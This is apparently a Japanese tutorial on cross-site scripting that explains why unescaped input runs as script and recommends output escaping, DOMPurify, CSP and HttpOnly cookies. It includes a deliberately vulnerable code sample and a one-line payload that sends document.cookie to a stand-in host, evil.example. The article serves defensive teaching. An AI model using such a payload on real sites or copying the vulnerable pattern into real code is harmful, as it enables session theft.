XSS（クロスサイトスクリプティング）

なぜ「文字列」がスクリプトになるのか

ブラウザは受け取った HTML を上から解釈し、<script> を見つけたら中身を実行すべきコードとして扱います。ブラウザには「これは正規のコードか、攻撃者が紛れ込ませた文字列か」を区別する手段がありません。HTML の文法上 <script> に見えれば、誰が書いたものでも動くのです。

問題が起きるのは、アプリがユーザー由来の値（投稿コメント、検索キーワード、プロフィール名など）を、加工せずページに埋め込むときです。たとえば検索結果に「"〇〇" の検索結果」と表示するつもりが、〇〇 の部分に攻撃者が <script>...</script> を入れていたら、それがそのまま実行されます。

// 脆弱な例：ユーザー入力をそのまま HTML に差し込んでいる
const keyword = req.query.q;                 // 攻撃者: <script>...</script>
res.send(`<h1>「${keyword}」の検索結果</h1>`); // → script タグがそのまま出力され、実行される

つまり XSS は「賢い攻撃」というより、データであるべき文字列を、コードとして出力してしまう実装ミスです。だからこそ対策の本筋は「出力の仕方」を直すことにあります。

3つの型：スクリプトはどこから来るか

XSS は「攻撃スクリプトがどこを経由して被害者に届くか」で 3 つに分類されます。実害（Cookie 等を盗む）は同じですが、経路が違えば対策の当てどころも変わるため、区別が重要です。

何が盗まれるのか：JS にできること全部

「スクリプトが動くだけ」では危険性が伝わりにくいですが、被害者の権限で動く JavaScript にできることは、ほぼ何でもです。本人が手で操作したのと区別がつきません。

• Cookie / セッションの窃取：document.cookie を読んで攻撃者のサーバへ送信。セッションID を盗めれば、ログイン状態をそのまま乗っ取れる（パスワードすら不要）。
• なりすまし操作：被害者のブラウザから、本物のサイトへ勝手にリクエストを送る（送金・投稿・退会・パスワード変更など）。
• 入力の盗聴（キーロガー）：フォームに打ち込んだ ID・パスワード・カード番号をリアルタイムで横取り。
• 偽画面の表示：DOM を書き換えて偽のログインフォームを出し、認証情報を直接抜く（フィッシング）。

// 攻撃者が注入するスクリプトの典型例（Cookie を外部へ送信）
new Image().src = 'https://evil.example/steal?c=' + encodeURIComponent(document.cookie);

対策：本丸は「出力時のエスケープ」

ここが本記事で一番大事な部分です。XSS 対策は層で考えますが、順番と主従を間違えてはいけません。

1. 出力エスケープ（本丸・必須）

唯一にして最大の対策は、ユーザー由来の値を画面に出す瞬間に、その文脈に合わせてエスケープすることです。< を <、> を >、& を & のように変換すれば、ブラウザは「タグの開始」ではなくただの文字として表示し、実行しません。

// 脆弱：そのまま HTML に差し込む
element.innerHTML = userInput;            // <script> が動く

// 安全：テキストとして扱う（ブラウザがエスケープしてくれる）
element.textContent = userInput;          // <script> は文字列として表示されるだけ

テンプレートエンジン（React の JSX、Vue、Thymeleaf、ERB 等）はデフォルトで自動エスケープしてくれます。React で {userInput} と書けば安全。自前で文字列連結して HTML を作るのをやめ、フレームワークの出力機構に任せるのが現実的な王道です。

2. 文脈別エスケープ：HTML だけでは足りない

「<>& を変換すれば終わり」は不十分です。値をどこに埋め込むかで、必要な処理が変わります。

特に href や src に javascript: から始まる文字列を入れられると、エスケープをすり抜けてスクリプトが走ります。URL を受け取る箇所では「http:// か https:// で始まるか」を必ず検証してください。

3. どうしても HTML を許可したいなら：サニタイザ

「コメントに太字や箇条書きを許可したい」など、HTML タグ自体を残す必要があるケースでは、エスケープできません。その場合は安全なタグだけを許可リスト方式で残す専用ライブラリ（DOMPurify など）を通します。自作の正規表現でタグを除去するのは禁物で、<scr<script>ipt> のような入れ子や多彩なエンコードで容易に回避されます。

// HTML を許可しつつ危険な要素・属性だけ除去する
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userHtml); // <script> や onerror= 等が落ちる

4. CSP と HttpOnly：被害を小さくする「保険」

ここは保険であって、本丸ではない点を強調します。出力エスケープを怠った穴を、被害軽減で補う層です。

• CSP（Content Security Policy）：Content-Security-Policy ヘッダで「実行を許可するスクリプトの出所」を制限します。インラインの <script> を禁止すれば、注入されたスクリプトの実行をブラウザ側でブロックできる。ただし設定は難しく、XSS の穴そのものは塞ぎません。
• Cookie の HttpOnly 属性：Cookie に HttpOnly を付けると document.cookie から読めなくなるため、XSS が起きてもセッションIDの窃取を防げます。乗っ取りに直結する被害を断つ効果が大きい。

まとめ

XSS は高度な攻撃ではなく、「データであるべき文字列を、コードとして出力してしまう」実装ミスです。型（反射型・格納型・DOM型）で経路は違えど、被害は「被害者のブラウザで攻撃者のJSが動く」＝セッション窃取やなりすましに直結します。

対策の主従は明確で、本丸は出力時の文脈別エスケープ（＝自動エスケープするフレームワークに任せる）。CSP や HttpOnly は被害を抑える保険として併用します。同じくユーザーの「自動送信される認証情報」を悪用する CSRF とは原因も対策も異なるため、混同せず両方を塞ぐ必要があります。データベース側で似た構図（文字列がコードとして解釈される）を持つのが SQLインジェクション で、こちらも「プレースホルダでデータとコードを分離する」という同じ思想で防ぎます。